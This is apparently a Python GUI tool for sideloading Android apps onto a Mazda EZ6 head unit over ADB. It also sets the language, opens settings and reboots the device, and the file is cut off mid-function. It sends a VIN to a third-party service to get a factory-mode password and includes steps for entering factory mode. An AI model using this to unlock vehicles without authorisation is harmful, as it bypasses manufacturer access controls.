Files
2026-07-07 14:37:04 +08:00

1399 lines
59 KiB
Python

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import subprocess
import sys
import threading
import time
import tkinter as tk
from tkinter import filedialog, messagebox, scrolledtext, ttk
from datetime import datetime
from pathlib import Path
from urllib.error import HTTPError, URLError
from urllib.parse import urlencode
from urllib.request import Request, urlopen
import json
def set_windows_app_id():
"""Set taskbar grouping id on Windows."""
if sys.platform != "win32":
return
try:
import ctypes
app_id = "YibinKeyi.MazdaEZ6.Installer.1.0"
ctypes.windll.shell32.SetCurrentProcessExplicitAppUserModelID(app_id)
except Exception:
pass
def get_app_dir():
if getattr(sys, "frozen", False):
return Path(sys.executable).resolve().parent
return Path(__file__).resolve().parent
def resource_candidates(file_name):
base_dir = get_app_dir()
candidates = []
if getattr(sys, "frozen", False):
candidates.append(Path(getattr(sys, "_MEIPASS", base_dir)) / file_name)
candidates.extend([
base_dir / file_name,
base_dir / "tools" / file_name,
base_dir.parent / "tools" / file_name,
base_dir.parent / file_name,
])
unique = []
for candidate in candidates:
if candidate not in unique:
unique.append(candidate)
return unique
def find_resource(file_name):
candidates = resource_candidates(file_name)
for candidate in candidates:
if candidate.exists():
return candidate
return candidates[0]
def find_adb():
candidates = [
Path(r"D:\UserData\adb-fastboot\adb.exe"),
]
candidates.extend(resource_candidates("adb.exe"))
for candidate in candidates:
if candidate.exists():
return str(candidate)
return "adb"
class ADKAPKGUI:
def __init__(self):
set_windows_app_id()
self.lang = "zh"
self.T = {
"zh": {
"title": "Mazda-EZ6 安装工具",
"lang_switch": "EN",
"status_ready": "就绪",
"device_checking": "设备状态: 检测中",
"device_connected": "设备状态: 设备已连接",
"device_disconnected": "设备状态: 未连接设备",
"vin_placeholder": "输入VIN或VIN后六位查询密码",
"password_unknown": "未查询",
"password_querying": "查询中...",
"password_failed": "查询失败",
"btn_query_password": "获取密码",
"password_status": "密码状态:",
"tips_title": "操作提示",
"tips_text": (
"1. 连续点击右上角时间,输入查询到的密码进入工厂模式。\n"
"2. 点击“USB模式切换”,点击“CURRENT USB MODE: HOST”,将设备切换为“DEVICES”。\n"
"3. 使用USB双公线,连接车机和电脑。\n"
"4. 点击“设置语言”,选择需要设置的目标语言。\n"
"5. 点击获取安装权限,重启后再次打开“DEVICES”模式,程序连接上设备以后安装App。"
),
"function_area": "功能区",
"btn_permission": "获取安装权限",
"btn_install_app": "安装App",
"btn_set_language": "设置语言",
"btn_timezone": "时区选择",
"btn_settings": "安卓设置",
"btn_reboot": "重启设备",
"log_title": "运行日志",
"btn_clear_log": "清空日志",
"log_started": "Mazda-EZ6 安装工具界面已启动。",
"log_cleared": "日志已清空。",
"warn_title": "提示",
"error_title": "错误",
"success_title": "成功",
"input_vin": "请输入VIN或VIN后六位。",
"status_password_querying": "正在查询密码",
"log_password_querying": "正在查询工程密码...",
"status_password_success": "密码查询成功",
"log_password_success": "密码查询成功: {password}",
"password_query_failed": "密码查询失败",
"password_http_failed": "密码查询失败: HTTP {code}",
"password_network_failed": "密码查询失败,请检查网络连接后重试。",
"password_retry_failed": "密码查询失败,请稍后重试。",
"progress_get_permission": "正在获取安装权限...",
"status_get_permission": "正在获取安装权限",
"log_get_permission": "正在获取安装权限,请保持设备连接。",
"progress_detect_device": "正在检测设备...",
"progress_enter_device": "正在进入设备环境...",
"progress_config_env": "正在配置安装环境...",
"progress_confirm_permission": "正在确认权限状态...",
"permission_ready": "安装权限已获取",
"permission_success_log": "获取安装权限成功。",
"permission_failed": "安装权限获取失败",
"permission_failed_log": "获取安装权限失败,请确认设备连接后重试。",
"status_check_permission": "正在检查安装权限",
"progress_check_permission": "正在检查安装权限...",
"need_permission_status": "请先获取安装权限",
"need_permission_log": "当前设备尚未获取安装权限。",
"need_permission_msg": "请先获取安装权限。",
"file_select_apk_title": "选择APK文件",
"filetype_apk": "APK文件",
"filetype_all": "所有文件",
"install_cancelled_status": "已取消安装",
"install_cancelled_log": "已取消安装App。",
"install_prepare": "准备安装 {count} 个APK...",
"status_installing_app": "正在安装App",
"log_install_start": "开始安装 {count} 个APK。",
"installing_item": "正在安装 {name} ({index}/{total})",
"installing_status": "正在安装 {name}",
"apk_install_success": "{name} 安装成功。",
"apk_install_failed": "{name} 安装失败。",
"install_done": "安装完成",
"install_done_log": "安装完成:全部 {count} 个成功。",
"install_done_msg": "成功安装 {count} 个APK。",
"install_partial": "部分安装完成",
"install_partial_log": "安装完成:成功 {success} 个,失败 {failed} 个。",
"install_partial_title": "部分成功",
"install_partial_msg": "成功: {success}\n失败: {failed}",
"install_failed": "安装失败",
"install_failed_log": "安装失败:所有APK均未安装成功。",
"install_failed_msg": "所有APK安装失败。",
"language_title": "设置语言",
"language_header": "选择目标语言",
"language_hint": "设置完成后请重启设备使语言生效",
"language_names": ["中文", "English", "Русский", "Français", "Español", "ไทย", "Italiano", "Português"],
"progress_setting_language": "正在设置语言: {language}",
"status_setting_language": "正在设置语言",
"log_setting_language": "正在设置系统语言为: {language}",
"language_done": "语言设置完成",
"language_success_title": "设置成功",
"language_success_log": "系统语言已设置为 {language},请重启设备使其生效。",
"language_success_msg": "系统语言已设置为 {language}\n\n请重启设备使其生效。",
"language_failed": "语言设置失败",
"language_failed_msg": "语言设置失败,请确认设备连接后重试。",
"reboot_confirm_title": "确认重启",
"reboot_confirm_msg": "确定要重启设备吗?",
"reboot_cancelled": "已取消重启设备。",
"status_rebooting": "正在重启设备",
"log_rebooting": "正在重启设备...",
"status_rebooting_now": "设备正在重启",
"reboot_success_log": "设备正在重启。",
"reboot_failed": "重启失败",
"reboot_failed_log": "重启失败,请确认设备连接。",
"timezone_label": "时区设置",
"settings_label": "安卓设置",
"status_opening": "正在打开{label}",
"log_opening": "正在打开设备{label}...",
"status_opened": "已打开{label}",
"log_opened": "{label}已打开。",
"timezone_fallback_log": "已打开安卓设置,请手动进入日期和时间/时区设置。",
"open_failed": "{label}打开失败,请确认设备连接。",
"log_lang_switched": "界面语言已切换为中文。",
},
"en": {
"title": "Mazda-EZ6 Installer",
"lang_switch": "中",
"status_ready": "Ready",
"device_checking": "Device: checking",
"device_connected": "Device: connected",
"device_disconnected": "Device: disconnected",
"vin_placeholder": "Enter VIN or last 6 digits to query password",
"password_unknown": "Not queried",
"password_querying": "Querying...",
"password_failed": "Failed",
"btn_query_password": "Get Password",
"password_status": "Password:",
"tips_title": "Tips",
"tips_text": (
"1. Tap the top-right clock repeatedly, then enter the queried password to enter factory mode.\n"
"2. Tap \"USB mode switch\", then tap \"CURRENT USB MODE: HOST\" and switch the device to \"DEVICES\".\n"
"3. Connect the head unit and PC with a USB-A to USB-A cable.\n"
"4. Tap \"Set Language\" and choose the target language.\n"
"5. Tap \"Get Install Permission\". After reboot, open \"DEVICES\" mode again; once connected, install apps."
),
"function_area": "Actions",
"btn_permission": "Get Install Permission",
"btn_install_app": "Install App",
"btn_set_language": "Set Language",
"btn_timezone": "Timezone",
"btn_settings": "Android Settings",
"btn_reboot": "Reboot Device",
"log_title": "Log",
"btn_clear_log": "Clear Log",
"log_started": "Mazda-EZ6 Installer started.",
"log_cleared": "Log cleared.",
"warn_title": "Hint",
"error_title": "Error",
"success_title": "Success",
"input_vin": "Enter the VIN or the last 6 digits.",
"status_password_querying": "Querying password",
"log_password_querying": "Querying factory password...",
"status_password_success": "Password query succeeded",
"log_password_success": "Password query succeeded: {password}",
"password_query_failed": "Password query failed",
"password_http_failed": "Password query failed: HTTP {code}",
"password_network_failed": "Password query failed. Check the network and try again.",
"password_retry_failed": "Password query failed. Try again later.",
"progress_get_permission": "Getting install permission...",
"status_get_permission": "Getting install permission",
"log_get_permission": "Getting install permission. Keep the device connected.",
"progress_detect_device": "Checking device...",
"progress_enter_device": "Entering device environment...",
"progress_config_env": "Configuring install environment...",
"progress_confirm_permission": "Confirming permission status...",
"permission_ready": "Install permission acquired",
"permission_success_log": "Install permission acquired.",
"permission_failed": "Install permission failed",
"permission_failed_log": "Failed to get install permission. Confirm device connection and try again.",
"status_check_permission": "Checking install permission",
"progress_check_permission": "Checking install permission...",
"need_permission_status": "Get install permission first",
"need_permission_log": "The device does not have install permission yet.",
"need_permission_msg": "Please get install permission first.",
"file_select_apk_title": "Select APK files",
"filetype_apk": "APK files",
"filetype_all": "All files",
"install_cancelled_status": "Install cancelled",
"install_cancelled_log": "App installation cancelled.",
"install_prepare": "Preparing to install {count} APK(s)...",
"status_installing_app": "Installing apps",
"log_install_start": "Starting installation for {count} APK(s).",
"installing_item": "Installing {name} ({index}/{total})",
"installing_status": "Installing {name}",
"apk_install_success": "{name} installed successfully.",
"apk_install_failed": "{name} install failed.",
"install_done": "Install complete",
"install_done_log": "Install complete: all {count} APK(s) succeeded.",
"install_done_msg": "Successfully installed {count} APK(s).",
"install_partial": "Partially complete",
"install_partial_log": "Install complete: {success} succeeded, {failed} failed.",
"install_partial_title": "Partially successful",
"install_partial_msg": "Succeeded: {success}\nFailed: {failed}",
"install_failed": "Install failed",
"install_failed_log": "Install failed: no APK was installed successfully.",
"install_failed_msg": "All APK installations failed.",
"language_title": "Set Language",
"language_header": "Choose Target Language",
"language_hint": "Reboot the device after setting the language",
"language_names": ["Chinese", "English", "Russian", "French", "Spanish", "Thai", "Italian", "Portuguese"],
"progress_setting_language": "Setting language: {language}",
"status_setting_language": "Setting language",
"log_setting_language": "Setting system language to: {language}",
"language_done": "Language set",
"language_success_title": "Set Successfully",
"language_success_log": "System language has been set to {language}. Reboot the device to apply it.",
"language_success_msg": "System language has been set to {language}.\n\nReboot the device to apply it.",
"language_failed": "Language setting failed",
"language_failed_msg": "Language setting failed. Confirm device connection and try again.",
"reboot_confirm_title": "Confirm Reboot",
"reboot_confirm_msg": "Reboot the device now?",
"reboot_cancelled": "Device reboot cancelled.",
"status_rebooting": "Rebooting device",
"log_rebooting": "Rebooting device...",
"status_rebooting_now": "Device is rebooting",
"reboot_success_log": "Device is rebooting.",
"reboot_failed": "Reboot failed",
"reboot_failed_log": "Reboot failed. Confirm device connection.",
"timezone_label": "timezone settings",
"settings_label": "Android settings",
"status_opening": "Opening {label}",
"log_opening": "Opening device {label}...",
"status_opened": "Opened {label}",
"log_opened": "{label} opened.",
"timezone_fallback_log": "Android settings opened. Open Date & time / Timezone manually.",
"open_failed": "Failed to open {label}. Confirm device connection.",
"log_lang_switched": "Interface language switched to English.",
},
}
self.root = tk.Tk()
self.root.title(self.t("title"))
self.set_window_icon()
self.root.geometry("860x820")
self.root.minsize(760, 760)
self.colors = {
"bg": "#1f2430",
"panel": "#2b3242",
"panel_alt": "#343c4f",
"accent": "#2f80ed",
"accent_hover": "#2568c7",
"success": "#27ae60",
"warning": "#f2c94c",
"danger": "#eb5757",
"text": "#f2f2f2",
"text_muted": "#b8c0cc",
"border": "#465066",
}
self.vin_var = tk.StringVar()
self.password_var = tk.StringVar(value=self.t("password_unknown"))
self.status_var = tk.StringVar(value=self.t("status_ready"))
self.device_status_var = tk.StringVar(value=self.t("device_checking"))
self.vin_placeholder = self.t("vin_placeholder")
self.password_api_url = "https://api.changan.softwindy.cn/api/authorizations/get-deepal-pwd"
self.adb = find_adb()
self.install_permission_ready = False
self.device_connected = False
self._device_monitor_running = False
self.setup_styles()
self.setup_ui()
self.center_window()
self.start_device_monitor()
self.log(self.t("log_started"))
def t(self, key):
return self.T.get(self.lang, self.T["zh"]).get(key, self.T["zh"].get(key, key))
def tf(self, key, **kwargs):
return str(self.t(key)).format(**kwargs)
def setup_styles(self):
style = ttk.Style()
style.theme_use("clam")
style.configure(
"Horizontal.TProgressbar",
troughcolor=self.colors["panel_alt"],
background=self.colors["accent"],
bordercolor=self.colors["panel_alt"],
lightcolor=self.colors["accent"],
darkcolor=self.colors["accent"],
)
def set_window_icon(self):
"""Set the Tk runtime icon; PyInstaller --icon only sets the exe file icon."""
try:
icon_path = find_resource("app.ico")
if not icon_path.exists():
return
self.root.iconbitmap(str(icon_path))
if sys.platform == "win32":
import ctypes
hwnd = self.root.winfo_id()
image = ctypes.windll.user32.LoadImageW(
None, str(icon_path), 1, 0, 0, 0x00000010
)
if image:
ctypes.windll.user32.SendMessageW(hwnd, 0x0080, 0, image)
ctypes.windll.user32.SendMessageW(hwnd, 0x0080, 1, image)
except Exception:
pass
def setup_ui(self):
self.root.configure(bg=self.colors["bg"])
main_frame = tk.Frame(self.root, bg=self.colors["bg"])
main_frame.pack(fill=tk.BOTH, expand=True, padx=14, pady=14)
top_frame = tk.Frame(main_frame, bg=self.colors["bg"])
top_frame.pack(fill=tk.X)
header_frame = tk.Frame(top_frame, bg=self.colors["bg"])
header_frame.pack(fill=tk.X, pady=(0, 8))
header_frame.columnconfigure(0, weight=1, uniform="header_side")
header_frame.columnconfigure(1, weight=0)
header_frame.columnconfigure(2, weight=1, uniform="header_side")
self.status_label = tk.Label(
header_frame,
textvariable=self.status_var,
font=("Microsoft YaHei", 10),
fg=self.colors["warning"],
bg=self.colors["bg"],
anchor="w",
)
self.status_label.grid(row=0, column=0, sticky="w")
self.title_label = tk.Label(
header_frame,
text=self.t("title"),
font=("Microsoft YaHei", 20, "bold"),
fg=self.colors["text"],
bg=self.colors["bg"],
)
self.title_label.grid(row=0, column=1, sticky="n")
self.btn_lang_switch = self.create_button(
header_frame,
self.t("lang_switch"),
self.toggle_lang,
bg=self.colors["panel_alt"],
width=4,
height=1,
)
self.btn_lang_switch.grid(row=0, column=2, sticky="e")
device_status_frame = tk.Frame(top_frame, bg=self.colors["panel"], highlightthickness=1,
highlightbackground=self.colors["border"])
device_status_frame.pack(fill=tk.X, pady=(0, 8))
self.device_status_dot = tk.Canvas(
device_status_frame,
width=12,
height=12,
bg=self.colors["panel"],
highlightthickness=0,
)
self.device_status_dot.pack(side=tk.LEFT, padx=(12, 6), pady=8)
self.device_status_oval = self.device_status_dot.create_oval(
2,
2,
10,
10,
fill=self.colors["text_muted"],
outline="",
)
self.device_status_label = tk.Label(
device_status_frame,
textvariable=self.device_status_var,
font=("Microsoft YaHei", 10, "bold"),
fg=self.colors["text_muted"],
bg=self.colors["panel"],
anchor="w",
)
self.device_status_label.pack(side=tk.LEFT, fill=tk.X, expand=True, pady=8)
vin_panel = tk.Frame(top_frame, bg=self.colors["panel"], highlightthickness=1,
highlightbackground=self.colors["border"])
vin_panel.pack(fill=tk.X, pady=(0, 8))
vin_row = tk.Frame(vin_panel, bg=self.colors["panel"])
vin_row.pack(fill=tk.X, padx=12, pady=(10, 8))
tk.Label(
vin_row,
text="VIN:",
font=("Microsoft YaHei", 11, "bold"),
fg=self.colors["text"],
bg=self.colors["panel"],
).pack(side=tk.LEFT, padx=(0, 8))
self.vin_entry = tk.Entry(
vin_row,
textvariable=self.vin_var,
font=("Consolas", 12),
fg=self.colors["text_muted"],
bg=self.colors["panel_alt"],
insertbackground=self.colors["text"],
relief=tk.FLAT,
)
self.vin_var.set(self.vin_placeholder)
self.vin_entry.bind("<FocusIn>", self._on_vin_focus_in)
self.vin_entry.bind("<FocusOut>", self._on_vin_focus_out)
self.vin_entry.pack(side=tk.LEFT, fill=tk.X, expand=True, ipady=7)
self.btn_query_password = self.create_button(
vin_row,
self.t("btn_query_password"),
self.query_password,
bg=self.colors["accent"],
width=12,
)
self.btn_query_password.pack(side=tk.LEFT, padx=(10, 0))
password_row = tk.Frame(vin_panel, bg=self.colors["panel"])
password_row.pack(fill=tk.X, padx=12, pady=(0, 8))
self.password_status_label = tk.Label(
password_row,
text=self.t("password_status"),
font=("Microsoft YaHei", 10),
fg=self.colors["text_muted"],
bg=self.colors["panel"],
)
self.password_status_label.pack(side=tk.LEFT)
tk.Label(
password_row,
textvariable=self.password_var,
font=("Microsoft YaHei", 10, "bold"),
fg=self.colors["success"],
bg=self.colors["panel"],
).pack(side=tk.LEFT, padx=(8, 0))
tips_panel = tk.Frame(top_frame, bg=self.colors["panel"], highlightthickness=1,
highlightbackground=self.colors["border"])
tips_panel.pack(fill=tk.X, pady=(0, 8))
self.tips_title_label = tk.Label(
tips_panel,
text=self.t("tips_title"),
font=("Microsoft YaHei", 11, "bold"),
fg=self.colors["warning"],
bg=self.colors["panel"],
anchor="w",
)
self.tips_title_label.pack(fill=tk.X, padx=12, pady=(8, 2))
self.tips_text_label = tk.Label(
tips_panel,
text=self.t("tips_text"),
font=("Microsoft YaHei", 9),
fg=self.colors["text"],
bg=self.colors["panel"],
justify=tk.LEFT,
anchor="w",
wraplength=800,
)
self.tips_text_label.pack(fill=tk.X, padx=12, pady=(0, 8))
self.function_panel = tk.LabelFrame(
top_frame,
text=f" {self.t('function_area')} ",
font=("Microsoft YaHei", 11, "bold"),
fg=self.colors["text"],
bg=self.colors["panel"],
bd=1,
relief=tk.SOLID,
labelanchor="nw",
)
self.function_panel.pack(fill=tk.X, pady=(0, 8))
row1_frame = tk.Frame(self.function_panel, bg=self.colors["panel"])
row1_frame.pack(fill=tk.X, padx=12, pady=(10, 4))
row2_frame = tk.Frame(self.function_panel, bg=self.colors["panel"])
row2_frame.pack(fill=tk.X, padx=12, pady=(4, 10))
self.btn_permission = self.create_button(
row1_frame,
self.t("btn_permission"),
self.get_install_permission,
bg=self.colors["accent"],
)
self.btn_permission.pack(side=tk.LEFT, padx=(0, 8), fill=tk.X, expand=True)
self.btn_install_app = self.create_button(
row1_frame,
self.t("btn_install_app"),
self.install_app,
bg=self.colors["accent"],
)
self.btn_install_app.pack(side=tk.LEFT, padx=8, fill=tk.X, expand=True)
self.btn_set_language = self.create_button(
row1_frame,
self.t("btn_set_language"),
self.set_language,
bg=self.colors["accent"],
)
self.btn_set_language.pack(side=tk.LEFT, padx=(8, 0), fill=tk.X, expand=True)
self.btn_timezone = self.create_button(
row2_frame,
self.t("btn_timezone"),
self.open_timezone_settings,
bg=self.colors["accent"],
)
self.btn_timezone.pack(side=tk.LEFT, padx=(0, 8), fill=tk.X, expand=True)
self.btn_settings = self.create_button(
row2_frame,
self.t("btn_settings"),
self.open_android_settings,
bg=self.colors["accent"],
)
self.btn_settings.pack(side=tk.LEFT, padx=8, fill=tk.X, expand=True)
self.btn_reboot = self.create_button(
row2_frame,
self.t("btn_reboot"),
self.reboot_device,
bg=self.colors["warning"],
fg="#202020",
)
self.btn_reboot.pack(side=tk.LEFT, padx=(8, 0), fill=tk.X, expand=True)
progress_frame = tk.Frame(top_frame, bg=self.colors["bg"])
progress_frame.pack(fill=tk.X, pady=(0, 6))
self.progress = ttk.Progressbar(
progress_frame,
mode="determinate",
maximum=100,
style="Horizontal.TProgressbar",
)
self.progress.pack(fill=tk.X)
self.progress_label = tk.Label(
top_frame,
text="",
font=("Microsoft YaHei", 9),
fg=self.colors["text_muted"],
bg=self.colors["bg"],
anchor="w",
)
self.progress_label.pack(fill=tk.X, pady=(2, 8))
log_frame = tk.Frame(main_frame, bg=self.colors["bg"])
log_frame.pack(fill=tk.BOTH, expand=True)
log_header = tk.Frame(log_frame, bg=self.colors["bg"])
log_header.pack(fill=tk.X, pady=(0, 6))
self.log_title_label = tk.Label(
log_header,
text=self.t("log_title"),
font=("Microsoft YaHei", 11, "bold"),
fg=self.colors["text"],
bg=self.colors["bg"],
)
self.log_title_label.pack(side=tk.LEFT)
self.btn_clear_log = self.create_button(
log_header,
self.t("btn_clear_log"),
self.clear_log,
bg=self.colors["panel_alt"],
width=10,
height=1,
)
self.btn_clear_log.pack(side=tk.RIGHT)
self.log_text = scrolledtext.ScrolledText(
log_frame,
wrap=tk.WORD,
font=("Consolas", 10),
bg="#151922",
fg=self.colors["text"],
insertbackground=self.colors["text"],
relief=tk.FLAT,
height=12,
)
self.log_text.pack(fill=tk.BOTH, expand=True)
self.log_text.tag_config("INFO", foreground=self.colors["text"])
self.log_text.tag_config("SUCCESS", foreground=self.colors["success"])
self.log_text.tag_config("WARNING", foreground=self.colors["warning"])
self.log_text.tag_config("ERROR", foreground=self.colors["danger"])
def create_button(self, parent, text, command, bg, fg="white", width=14, height=1):
button = tk.Button(
parent,
text=text,
command=command,
font=("Microsoft YaHei", 10, "bold"),
fg=fg,
bg=bg,
activeforeground=fg,
activebackground=self.colors["accent_hover"],
relief=tk.FLAT,
cursor="hand2",
width=width,
height=height,
)
return button
def run_on_ui_thread(self, func, *args, **kwargs):
self.root.after(0, lambda: func(*args, **kwargs))
def run_worker(self, target):
threading.Thread(target=target, daemon=True).start()
def log(self, message, level="INFO"):
timestamp = datetime.now().strftime("%H:%M:%S")
self.log_text.insert(tk.END, f"[{timestamp}] {message}\n", level)
self.log_text.see(tk.END)
def set_status(self, text):
self.status_var.set(text)
def set_progress(self, value, text=""):
self.progress["value"] = value
self.progress_label.config(text=text)
def is_placeholder_vin(self, text):
return text in (self.T["zh"]["vin_placeholder"], self.T["en"]["vin_placeholder"])
def _current_key_for_value(self, value, keys):
for key in keys:
for lang_data in self.T.values():
if lang_data.get(key) == value:
return key
return None
def toggle_lang(self):
old_placeholder = self.vin_placeholder
self.lang = "en" if self.lang == "zh" else "zh"
self.apply_language(old_placeholder)
self.log(self.t("log_lang_switched"), "INFO")
def apply_language(self, old_placeholder=None):
old_placeholder = old_placeholder or self.vin_placeholder
password_key = self._current_key_for_value(
self.password_var.get(),
["password_unknown", "password_querying", "password_failed"],
)
status_key = self._current_key_for_value(
self.status_var.get(),
[
"status_ready",
"status_password_querying",
"status_password_success",
"password_query_failed",
"status_get_permission",
"permission_ready",
"permission_failed",
"status_check_permission",
"need_permission_status",
"install_cancelled_status",
"status_installing_app",
"install_done",
"install_partial",
"install_failed",
"status_setting_language",
"language_done",
"language_failed",
"status_rebooting",
"status_rebooting_now",
"reboot_failed",
],
)
progress_key = self._current_key_for_value(
self.progress_label.cget("text"),
[
"progress_get_permission",
"progress_detect_device",
"progress_enter_device",
"progress_config_env",
"progress_confirm_permission",
"permission_ready",
"permission_failed",
"progress_check_permission",
"install_done",
"install_partial",
"install_failed",
"language_done",
"language_failed",
],
)
self.vin_placeholder = self.t("vin_placeholder")
self.root.title(self.t("title"))
self.title_label.config(text=self.t("title"))
self.btn_lang_switch.config(text=self.t("lang_switch"))
self.btn_query_password.config(text=self.t("btn_query_password"))
self.password_status_label.config(text=self.t("password_status"))
self.tips_title_label.config(text=self.t("tips_title"))
self.tips_text_label.config(text=self.t("tips_text"))
self.function_panel.config(text=f" {self.t('function_area')} ")
self.btn_permission.config(text=self.t("btn_permission"))
self.btn_install_app.config(text=self.t("btn_install_app"))
self.btn_set_language.config(text=self.t("btn_set_language"))
self.btn_timezone.config(text=self.t("btn_timezone"))
self.btn_settings.config(text=self.t("btn_settings"))
self.btn_reboot.config(text=self.t("btn_reboot"))
self.log_title_label.config(text=self.t("log_title"))
self.btn_clear_log.config(text=self.t("btn_clear_log"))
if self.vin_var.get() in ("", old_placeholder) or self.is_placeholder_vin(self.vin_var.get()):
self.vin_var.set(self.vin_placeholder)
self.vin_entry.config(fg=self.colors["text_muted"])
if password_key:
self.password_var.set(self.t(password_key))
if status_key:
self.status_var.set(self.t(status_key))
if progress_key:
self.progress_label.config(text=self.t(progress_key))
self._update_device_status(self.device_connected)
def set_busy(self, busy):
state = tk.DISABLED if busy else tk.NORMAL
buttons = [
self.btn_lang_switch,
self.btn_query_password,
self.btn_permission,
self.btn_install_app,
self.btn_set_language,
self.btn_timezone,
self.btn_settings,
self.btn_reboot,
self.btn_clear_log,
]
for button in buttons:
button.config(state=state)
def clear_log(self):
self.log_text.delete("1.0", tk.END)
self.log(self.t("log_cleared"))
def get_vin(self):
vin = self.vin_var.get().strip()
if self.is_placeholder_vin(vin):
return ""
return vin
def _on_vin_focus_in(self, _event):
if self.vin_var.get() == self.vin_placeholder:
self.vin_var.set("")
self.vin_entry.config(fg=self.colors["text"])
def _on_vin_focus_out(self, _event):
if not self.vin_var.get().strip():
self.vin_var.set(self.vin_placeholder)
self.vin_entry.config(fg=self.colors["text_muted"])
def query_password(self):
vin = self.get_vin()
if not vin:
messagebox.showwarning(self.t("warn_title"), self.t("input_vin"))
return
self.set_busy(True)
self.password_var.set(self.t("password_querying"))
self.set_status(self.t("status_password_querying"))
self.log(self.t("log_password_querying"))
self.run_worker(lambda: self._query_password_worker(vin))
def _query_password_worker(self, vin):
try:
query_date = datetime.now().strftime("%Y-%m-%d")
params = urlencode({
"carModel": "EZ6",
"vin": vin,
"date": query_date,
})
request = Request(
f"{self.password_api_url}?{params}",
headers={"User-Agent": "Mazda-EZ6-Installer/1.0"},
)
with urlopen(request, timeout=15) as response:
payload = response.read()
data = json.loads(payload.decode("utf-8"))
result = data.get("data") if isinstance(data, dict) else None
password = result.get("password") if isinstance(result, dict) else None
error = result.get("error") if isinstance(result, dict) else None
if data.get("success") and password:
self.run_on_ui_thread(self.password_var.set, password)
self.run_on_ui_thread(self.set_status, self.t("status_password_success"))
self.run_on_ui_thread(self.log, self.tf("log_password_success", password=password), "SUCCESS")
return
message = error or data.get("message") or self.t("password_query_failed")
self.run_on_ui_thread(self.password_var.set, self.t("password_failed"))
self.run_on_ui_thread(self.set_status, self.t("password_query_failed"))
self.run_on_ui_thread(self.log, message, "ERROR")
self.run_on_ui_thread(messagebox.showerror, self.t("password_query_failed"), message)
except HTTPError as exc:
message = self.tf("password_http_failed", code=exc.code)
self.run_on_ui_thread(self.password_var.set, self.t("password_failed"))
self.run_on_ui_thread(self.set_status, self.t("password_query_failed"))
self.run_on_ui_thread(self.log, message, "ERROR")
self.run_on_ui_thread(messagebox.showerror, self.t("password_query_failed"), message)
except (URLError, TimeoutError):
message = self.t("password_network_failed")
self.run_on_ui_thread(self.password_var.set, self.t("password_failed"))
self.run_on_ui_thread(self.set_status, self.t("password_query_failed"))
self.run_on_ui_thread(self.log, message, "ERROR")
self.run_on_ui_thread(messagebox.showerror, self.t("password_query_failed"), message)
except Exception:
message = self.t("password_retry_failed")
self.run_on_ui_thread(self.password_var.set, self.t("password_failed"))
self.run_on_ui_thread(self.set_status, self.t("password_query_failed"))
self.run_on_ui_thread(self.log, message, "ERROR")
self.run_on_ui_thread(messagebox.showerror, self.t("password_query_failed"), message)
finally:
self.run_on_ui_thread(self.set_busy, False)
def get_install_permission(self):
self.set_busy(True)
self.set_progress(10, self.t("progress_get_permission"))
self.set_status(self.t("status_get_permission"))
self.log(self.t("log_get_permission"))
self.run_worker(self._get_install_permission_worker)
def install_app(self):
self.set_busy(True)
self.set_progress(0, self.t("progress_check_permission"))
self.set_status(self.t("status_check_permission"))
self.run_worker(self._check_permission_before_file_select)
def set_language(self):
popup = tk.Toplevel(self.root)
popup.title(self.t("language_title"))
popup.geometry("420x320")
popup.configure(bg=self.colors["bg"])
popup.transient(self.root)
popup.grab_set()
tk.Label(
popup,
text=self.t("language_header"),
font=("Microsoft YaHei", 15, "bold"),
fg=self.colors["text"],
bg=self.colors["bg"],
).pack(pady=(18, 6))
tk.Label(
popup,
text=self.t("language_hint"),
font=("Microsoft YaHei", 9),
fg=self.colors["text_muted"],
bg=self.colors["bg"],
).pack(pady=(0, 12))
lang_frame = tk.Frame(popup, bg=self.colors["bg"])
lang_frame.pack(fill=tk.BOTH, expand=True, padx=18, pady=(0, 14))
locale_codes = ["zh-CN", "en-US", "ru-RU", "fr-FR", "es-ES", "th-TH", "it-IT", "pt-BR"]
languages = list(zip(self.t("language_names"), locale_codes))
for index, (label, locale_code) in enumerate(languages):
row = index // 2
col = index % 2
button = tk.Button(
lang_frame,
text=label,
command=lambda loc=locale_code, name=label: self._set_language_from_popup(loc, name, popup),
font=("Microsoft YaHei", 10, "bold"),
fg="white",
bg=self.colors["accent"],
activeforeground="white",
activebackground=self.colors["accent_hover"],
relief=tk.FLAT,
cursor="hand2",
height=2,
)
button.grid(row=row, column=col, padx=6, pady=6, sticky="nsew")
for col in range(2):
lang_frame.columnconfigure(col, weight=1)
for row in range(4):
lang_frame.rowconfigure(row, weight=1)
popup.update_idletasks()
x = self.root.winfo_x() + (self.root.winfo_width() - popup.winfo_width()) // 2
y = self.root.winfo_y() + (self.root.winfo_height() - popup.winfo_height()) // 2
popup.geometry(f"+{x}+{y}")
def reboot_device(self):
if not messagebox.askyesno(self.t("reboot_confirm_title"), self.t("reboot_confirm_msg")):
self.log(self.t("reboot_cancelled"), "WARNING")
return
self.set_status(self.t("status_rebooting"))
self.log(self.t("log_rebooting"))
self.run_worker(self._reboot_device_worker)
def _reboot_device_worker(self):
try:
code, _, _ = self.run_adb_command(["shell", "reboot"], timeout=20)
if code == 0:
self.run_on_ui_thread(self.set_status, self.t("status_rebooting_now"))
self.run_on_ui_thread(self.log, self.t("reboot_success_log"), "SUCCESS")
else:
self.run_on_ui_thread(self.set_status, self.t("reboot_failed"))
self.run_on_ui_thread(self.log, self.t("reboot_failed_log"), "ERROR")
except Exception:
self.run_on_ui_thread(self.set_status, self.t("reboot_failed"))
self.run_on_ui_thread(self.log, self.t("reboot_failed_log"), "ERROR")
def open_timezone_settings(self):
label_key = "timezone_label"
label = self.t(label_key)
self.set_status(self.tf("status_opening", label=label))
self.log(self.tf("log_opening", label=label))
commands = [
["shell", "am", "start", "-a", "android.settings.DATE_SETTINGS"],
["shell", "am", "start", "-n", "com.android.settings/.Settings$DateTimeSettingsActivity"],
["shell", "am", "start", "-n", "com.android.settings/.DateTimeSettings"],
["shell", "am", "start", "-a", "android.settings.SETTINGS"],
]
self.run_worker(lambda: self._open_settings_action(commands, label_key))
def open_android_settings(self):
label_key = "settings_label"
label = self.t(label_key)
self.set_status(self.tf("status_opening", label=label))
self.log(self.tf("log_opening", label=label))
commands = [
["shell", "am", "start", "-a", "android.settings.SETTINGS"],
["shell", "am", "start", "-n", "com.android.settings/.Settings"],
]
self.run_worker(lambda: self._open_settings_action(commands, label_key))
def _open_settings_action(self, commands, label_key):
try:
for index, command in enumerate(commands):
